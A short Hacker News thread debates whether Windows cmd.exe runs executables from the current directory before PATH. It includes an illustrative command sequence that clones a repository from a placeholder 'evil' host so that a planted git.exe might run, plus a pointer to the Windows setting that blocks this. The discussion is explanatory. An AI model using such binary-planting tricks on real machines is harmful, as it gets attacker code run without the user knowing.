Hacker News new | ask | show | jobs
by jwolfe 18 days ago
If bash placed the current directory in your PATH by default, then yes.
1 comments

Could file a CVE with Microsoft then, cause thats kinda what cmd.exe is doing:

    > git clone git://evil evil
    > cd evil\
    > git status
The last line would execute git.exe from the cloned repo, wouldn't it?
No, `git` uses the binary in path, to use the repo file it should be `./git.exe`
On Linux.

Look for `NoDefaultCurrentDirectoryInExePath` if you want to learn about Windows.